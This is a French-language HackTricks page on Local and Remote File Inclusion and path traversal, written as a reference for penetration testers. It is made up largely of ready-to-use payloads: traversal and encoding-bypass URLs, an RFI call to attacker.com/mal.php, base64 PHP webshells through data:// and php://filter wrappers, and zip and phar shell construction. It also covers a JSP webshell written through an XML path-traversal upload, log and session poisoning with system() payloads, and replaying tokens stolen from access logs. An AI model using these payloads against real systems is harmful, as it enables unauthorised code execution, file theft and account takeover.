File Inclusion/Path traversal

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

File Inclusion

Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Avantage : vous pouvez écrire le code et le serveur l’exécutera). En php ceci est désactivé par défaut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l’utilisateur peut, d’une manière ou d’une autre, contrôler le fichier qui sera chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Blind - Intéressant - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En mélangeant plusieurs listes LFI *nix et en ajoutant d’autres chemins, j’ai créé celle-ci :

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

Fusion de différentes wordlists :

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi de supprimer C:/ et d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Consultez la liste LFI de linux.

LFI de base et contournements

Tous les exemples concernent Local File Inclusion mais peuvent aussi être appliqués à Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences supprimées non-récursivement

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Contourner l’ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard comme double URL encode (et d’autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Les moteurs HTML-to-PDF modernes (p.ex. TCPDF ou des wrappers tels que html2pdf) analysent volontiers attacker-provided HTML, SVG, CSS et font URLs, mais ils s’exécutent au sein de réseaux backend de confiance disposant d’un accès au filesystem. Une fois que vous pouvez injecter HTML dans $pdf->writeHTML()/Html2Pdf::writeHTML(), vous pouvez souvent exfiltrate des fichiers locaux que le compte du web server peut lire.

  • Fingerprint the renderer: chaque PDF généré contient un champ Producer (p.ex. TCPDF 6.8.2). Connaître la build exacte permet de savoir quels path filters existent et si URL decoding est effectué avant la validation.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lit l’attribut xlink:href des éléments <image> avant d’exécuter urldecode(). Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF préfixe $_SERVER['DOCUMENT_ROOT'] aux chemins commençant par / et ne résout .. qu’ensuite, donc utilisez soit des segments initiaux ../../.. soit /../../.. pour échapper à la racine après ce préfixe.

  • Encodage pour contourner des filtres naïfs: Versions ≤6.8.2 ne vérifient la sous-chaîne littérale ../ que avant le décodage de l’URL. Envoyer ..%2f (ou ..%2F) dans le SVG ou dans un attribut brut <img src> contourne la vérification, car la séquence de traversal dot-dot-slash n’est recréée qu’après que TCPDF appelle urldecode().
  • Double-encodage pour un décodage en plusieurs étapes: Si l’entrée utilisateur est décodée par le framework web et par TCPDF, double-encodez le slash (%252f). Un décodage le transforme en %2f, le second décodage dans TCPDF le transforme en /, produisant /..%252f..%252f../../../../… sans jamais afficher ../ au filtre précoce.
  • Gestionnaire HTML <img>: TCPDF::openHTMLTagHandler() contient le même bug d’ordre d’opérations, permettant des payloads HTML directs tels que src="%2f..%252f..%252ftmp%252fsecret.png" pour lire n’importe quelle bitmap accessible localement.

Cette technique leaks tout ce qui est lisible par le PDF worker (scans de passeports, API keys rendues en images, etc.). Des hardeners l’ont corrigé dans la version 6.9.1 en canonisant les chemins (isRelativePath()), donc pendant les tests priorisez les anciennes versions de Producer.

Depuis un dossier existant

Peut-être que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorer les répertoires du système de fichiers sur un serveur

Le système de fichiers d’un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à sonder l’existence de dossiers spécifiques. Ci-dessous une méthode détaillée pour y parvenir :

  1. Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier /etc/passwd (applicable si le serveur est basé sur Linux). Un exemple d’URL peut être structuré comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sondez les dossiers : Ajoutez le nom du dossier suspect (par ex., private) à l’URL, puis revenez à /etc/passwd. Le niveau de répertoire supplémentaire nécessite d’incrémenter la profondeur d’une unité :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpréter les résultats : La réponse du serveur indique si le dossier existe :
  • Erreur / Aucune sortie : Le dossier private n’existe probablement pas à l’emplacement spécifié.
  • Contenu de /etc/passwd: La présence du dossier private est confirmée.
  1. Exploration récursive : Les dossiers découverts peuvent être sondés plus avant pour trouver des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles de Local File Inclusion (LFI).

Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

La technique Path truncation est employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. Le but est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.

En PHP, différentes représentations d’un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

  • /etc/passwd, /etc//passwd, /etc/./passwd, et /etc/passwd/ sont tous considérés comme le même chemin.
  • Lorsque les 6 derniers caractères sont passwd, l’ajout d’un / (le transformant en passwd/) ne change pas le fichier ciblé.
  • De même, si .php est ajouté à un chemin (comme shellcode.php), l’ajout d’un /. à la fin n’altérera pas le fichier accédé.

Les exemples fournis montrent comment utiliser la path truncation pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scénarios, le nombre de traversées nécessaires peut être d’environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

  • Utilisation de segments ‘.’ et de caractères supplémentaires : Les séquences de traversal (../) combinées avec des segments supplémentaires de points et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, ignorant effectivement les chaînes ajoutées par le serveur.
  • Déterminer le nombre de traversées requises : Par essais et erreurs, on peut trouver le nombre précis de séquences ../ nécessaire pour remonter jusqu’à la racine puis accéder à /etc/passwd, en s’assurant que toute chaîne ajoutée (comme .php) soit neutralisée mais que le chemin souhaité (/etc/passwd) reste intact.
  • Commencer par un répertoire factice : Il est courant de débuter le chemin par un répertoire inexistant (comme a/). Cette technique est utilisée par mesure de précaution ou pour satisfaire les exigences de la logique d’analyse de chemin du serveur.

Lors de l’emploi de techniques de troncature de chemin, il est crucial de comprendre le comportement d’analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces pour contourner les filtres

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Dans php, ceci est désactivé par défaut car allow_url_include est Off. Il doit être On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE :

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si pour une raison quelconque allow_url_include est On, mais que PHP filtre l’accès aux pages web externes, selon cet article, vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP en b64 et obtenir une RCE :

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Dans le code précédent, le +.txt final a été ajouté parce que l’attaquant avait besoin d’une chaîne se terminant par .txt, donc la chaîne se termine par cela et après le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).

Un autre exemple n’utilisant pas le protocole php:// serait :

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Élément racine Python

En python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l’utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C’est le comportement prévu selon the docs :

Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la concaténation continue à partir du composant de chemin absolu.

Java : lister les répertoires

Il semble que si vous avez une Path Traversal en Java et que vous demandez un répertoire au lieu d’un fichier, la liste du répertoire est renvoyée. Cela ne se produit pas dans d’autres langages (afaik).

Top 25 paramètres

Voici la liste des 25 paramètres les plus susceptibles d’être vulnérables aux local file inclusion (LFI) (source : link) :

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant les wrappers et protocoles PHP

php://filter

Les filtres PHP permettent d’effectuer des opérations de modification basiques sur les données avant leur lecture ou écriture. Il existe 5 catégories de filtres :

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Supprime les balises des données (tout ce qui se trouve entre les caractères “<” et “>”)
  • Notez que ce filtre a disparu des versions modernes de PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme vers un encodage différent (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportés, exécutez dans la console : iconv -l

Warning

En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou amener une fonction comme include à traiter du texte arbitraire. Pour plus d’infos, consultez LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compresse le contenu (utile si vous exfiltrez beaucoup d’informations)
  • zlib.inflate: Décompresse les données
  • Encryption Filters
  • mcrypt.* : Obsolète
  • mdecrypt.* : Obsolète
  • Other Filters
  • En exécutant dans php var_dump(stream_get_filters());, vous pouvez trouver quelques filtres inattendus :
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La partie “php://filter” est insensible à la casse

Utiliser php filters comme oracle pour lire des fichiers arbitraires

In this post est proposée une technique pour lire un fichier local sans que la sortie ne soit renvoyée par le serveur. Cette technique est basée sur une boolean exfiltration of the file (char by char) using php filters comme oracle. En effet, php filters peuvent être utilisés pour agrandir un texte suffisamment pour forcer php à lever une exception.

Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :

  • Utiliser le codec UCS-4LE pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle.
  • Cela permet de générer un texte tellement volumineux quand la lettre initiale est devinée correctement que php déclenchera une erreur.
  • Le filtre dechunk va tout supprimer si le premier caractère n’est pas hexadécimal, ce qui permet de savoir si le premier caractère est hex.
  • Cela, combiné avec le précédent (et d’autres filtres selon la lettre devinée), permettra de deviner une lettre au début du texte en observant quand on applique suffisamment de transformations pour qu’elle ne soit plus un caractère hexadécimal. Car si c’est hexadécimal, dechunk ne le supprime pas et la bombe initiale provoque l’erreur php.
  • Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un a par exemple car si l’on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n’est plus un caractère hexadécimal ; par conséquent dechunk ne la supprime pas et l’erreur php est déclenchée parce qu’elle se multiplie avec la bombe initiale.
  • En utilisant d’autres transformations comme rot13 au début, il est possible de leak d’autres caractères comme n, o, p, q, r (et d’autres codecs peuvent être utilisés pour déplacer d’autres lettres dans la plage hex).
  • Quand le caractère initial est un chiffre, il est nécessaire de l’encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
  • Le problème final est de voir comment leak plus que la lettre initiale. En utilisant des filters d’ordre mémoire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, il est possible de changer l’ordre des caractères et amener en première position d’autres lettres du texte.
  • Et pour pouvoir obtenir données supplémentaires l’idée est de générer 2 bytes of junk data at the beginning avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour les pivot with the next 2 bytes, et delete the data until the junk data (cela supprimera les 2 premiers octets du texte initial). Continuez ainsi jusqu’à atteindre le bit désiré à leak.

Dans le post, un outil pour effectuer cela automatiquement a également été publié : php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez aussi utiliser php://stdin, php://stdout et php://stderr pour accéder aux descripteurs de fichier 0, 1 et 2 respectivement (je ne sais pas comment cela pourrait être utile dans une attaque)

zip:// et rar://

Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.
Pour pouvoir abuser du protocole rar, il doit être spécifiquement activé.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations PHP allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci :

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre payload dans les paramètres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu’une application web utilise des fonctions telles que include pour charger des fichiers. L’extrait de code PHP ci-dessous montre la création d’un fichier .phar :

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit être exécutée :

php --define phar.readonly=0 create_path.php

À l’exécution, un fichier nommé test.phar sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI).

Dans les cas où le LFI ne fait que lire des fichiers sans exécuter le code PHP à l’intérieur, via des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), l’exploitation d’une vulnérabilité de désérialisation pourrait être tentée. Cette vulnérabilité est liée à la lecture de fichiers en utilisant le protocole phar.

Pour une compréhension détaillée de l’exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar, référez-vous au document ci-dessous :

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Il a été possible d’abuser de n’importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters pour obtenir une RCE. La description détaillée peut être trouvée dans ce post.
Très bref résumé : un 3 byte overflow dans le heap PHP a été exploité pour altérer la chaîne de chunks libres d’une taille spécifique afin de pouvoir écrire n’importe quoi à n’importe quelle adresse, de sorte qu’un hook a été ajouté pour appeler system.
Il a été possible d’allouer des chunks de tailles spécifiques en abusant d’autres php filters.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l’utilité dans une attaque de file inclusion)
  • file:// — Accéder au système de fichiers local
  • http:// — Accéder aux URLs HTTP(s)
  • ftp:// — Accéder aux URLs FTP(s)
  • zlib:// — Flux de compression
  • glob:// — Trouver les chemins correspondant à un pattern (Il ne retourne rien d’imprimable, donc pas vraiment utile ici)
  • ssh2:// — Secure Shell 2
  • ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)

LFI via PHP’s ‘assert’

Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu’on manipule la fonction ‘assert’, qui peut exécuter du code contenu dans des chaînes. C’est particulièrement problématique si une entrée contenant des caractères de directory traversal comme “..” est vérifiée mais pas correctement assainie.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour le code injection. Pour exploiter cela afin de lire le contenu d’un fichier, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De même, pour exécuter des commandes système arbitraires, on peut utiliser :

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Cette technique est pertinente dans les cas où vous control le file path d’une PHP function qui va access a file mais dont vous ne verrez pas le contenu (comme un simple appel à file()) car le contenu n’est pas affiché.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

En résumé, la technique utilise l’encodage “UCS-4LE” pour rendre le contenu d’un fichier si big que la PHP function opening le fichier déclenchera une error.

Ensuite, pour leak le premier char le filtre dechunk est utilisé avec d’autres comme base64 ou rot13, et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d’autres chars au début et les leak.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Déterminer les répertoires exposés au web. Exemples courants :
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Construire un traversal path qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
  • Accéder via navigateur au payload déposé et exécuter des commandes.

Notes:

  • Le service vulnérable qui effectue l’écriture peut écouter sur un port non-HTTP (e.g., a JMF XML listener on TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
  • Sur les stacks Java, ces écritures de fichiers sont souvent implémentées par une simple concaténation File/Paths. L’absence de canonicalisation/allow-listing est le core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Mesures de durcissement qui contrent cette classe de bugs:

  • Résoudre en un chemin canonique et vérifier qu’il est un descendant d’un répertoire de base autorisé.
  • Refuser tout chemin contenant .., des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
  • Exécuter le writer sous un compte à faibles privilèges et séparer les répertoires d’écriture des racines servies.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include, vous pouvez essayer d’accéder à /var/log/apache2/access.log or /var/log/nginx/access.log, placer dans le user agent ou dans un GET parameter un php shell comme <?php system($_GET['c']); ?> et inclure ce fichier

Warning

Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés en la chaîne “quote;”, PHP générera une erreur et rien d’autre ne sera exécuté.

Veillez également à écrire correctement le payload sinon PHP renverra une erreur à chaque tentative de chargement du fichier de logs et vous n’aurez pas de seconde opportunité.

Cela peut aussi être fait dans d’autres logs mais faites attention, le code à l’intérieur des logs peut être encodé en URL et cela peut détruire le Shell. L’en-tête authorisation “basic” contient “user:password” en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.
Autres chemins de logs possibles:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lire les access logs pour récupérer des GET-based auth tokens (token replay)

De nombreuses applications acceptent par erreur des session/auth tokens via GET (par ex. : AuthenticationToken, token, sid). Si vous avez un primitive path traversal/LFI donnant accès aux web server logs, vous pouvez voler ces tokens dans les access logs et les replay pour contourner complètement l’authentication.

How-to:

  • Utilisez le traversal/LFI pour lire le web server access log. Emplacements courants :
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Certains endpoints renvoient les lectures de fichiers encodées en Base64. Si c’est le cas, décodez localement et inspectez les lignes du journal.
  • Grep les requêtes GET qui incluent un paramètre token et capturez sa valeur, puis replayez-la contre l’application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Décoder le corps s’il est encodé en Base64, puis rejouer un token capturé :

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Remarques:

  • Les tokens dans les URLs sont loggés par défaut ; n’acceptez jamais les bearer tokens via GET dans les systèmes de production.
  • Si l’app supporte plusieurs noms de token, recherchez des clés communes comme AuthenticationToken, token, sid, access_token.
  • Faites pivoter tous les tokens qui ont pu leaked dans les logs.

Par Email

Envoyez un mail à un compte interne (user@localhost) contenant votre PHP payload comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l’inclure dans le mail de l’utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Par /proc//fd/

  1. Téléversez beaucoup de shells (par exemple : 100)
  2. Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Par /proc/self/environ

Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l’intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (ex : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour garder le fichier lisible, il est préférable d’injecter dans les métadonnées des images/doc/pdf

Via Zip file upload

Upload un fichier ZIP contenant un PHP shell compressé et y accéder :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Par les sessions PHP

Vérifiez si le site utilise la session PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans /var/lib/php5/sess\[PHPSESSID]_ fichiers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d’accéder à <HOME>/.ssh/id_rsa

Via vsftpd logs

Les logs du serveur FTP vsftpd se trouvent dans /var/log/vsftpd.log. Dans le cas où une vulnérabilité Local File Inclusion (LFI) existe et qu’il est possible d’accéder à un serveur vsftpd exposé, les étapes suivantes peuvent être envisagées :

  1. Injecter une payload PHP dans le champ username pendant le processus de connexion.
  2. Après l’injection, utiliser la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

Comme montré dans this article, le filtre PHP base64 ignore simplement le contenu non-base64. Vous pouvez utiliser cela pour contourner la vérification de l’extension de fichier : si vous fournissez du base64 qui se termine par “.php”, il ignorera le “.” et ajoutera “php” au base64. Voici un exemple de payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (aucun fichier nécessaire)

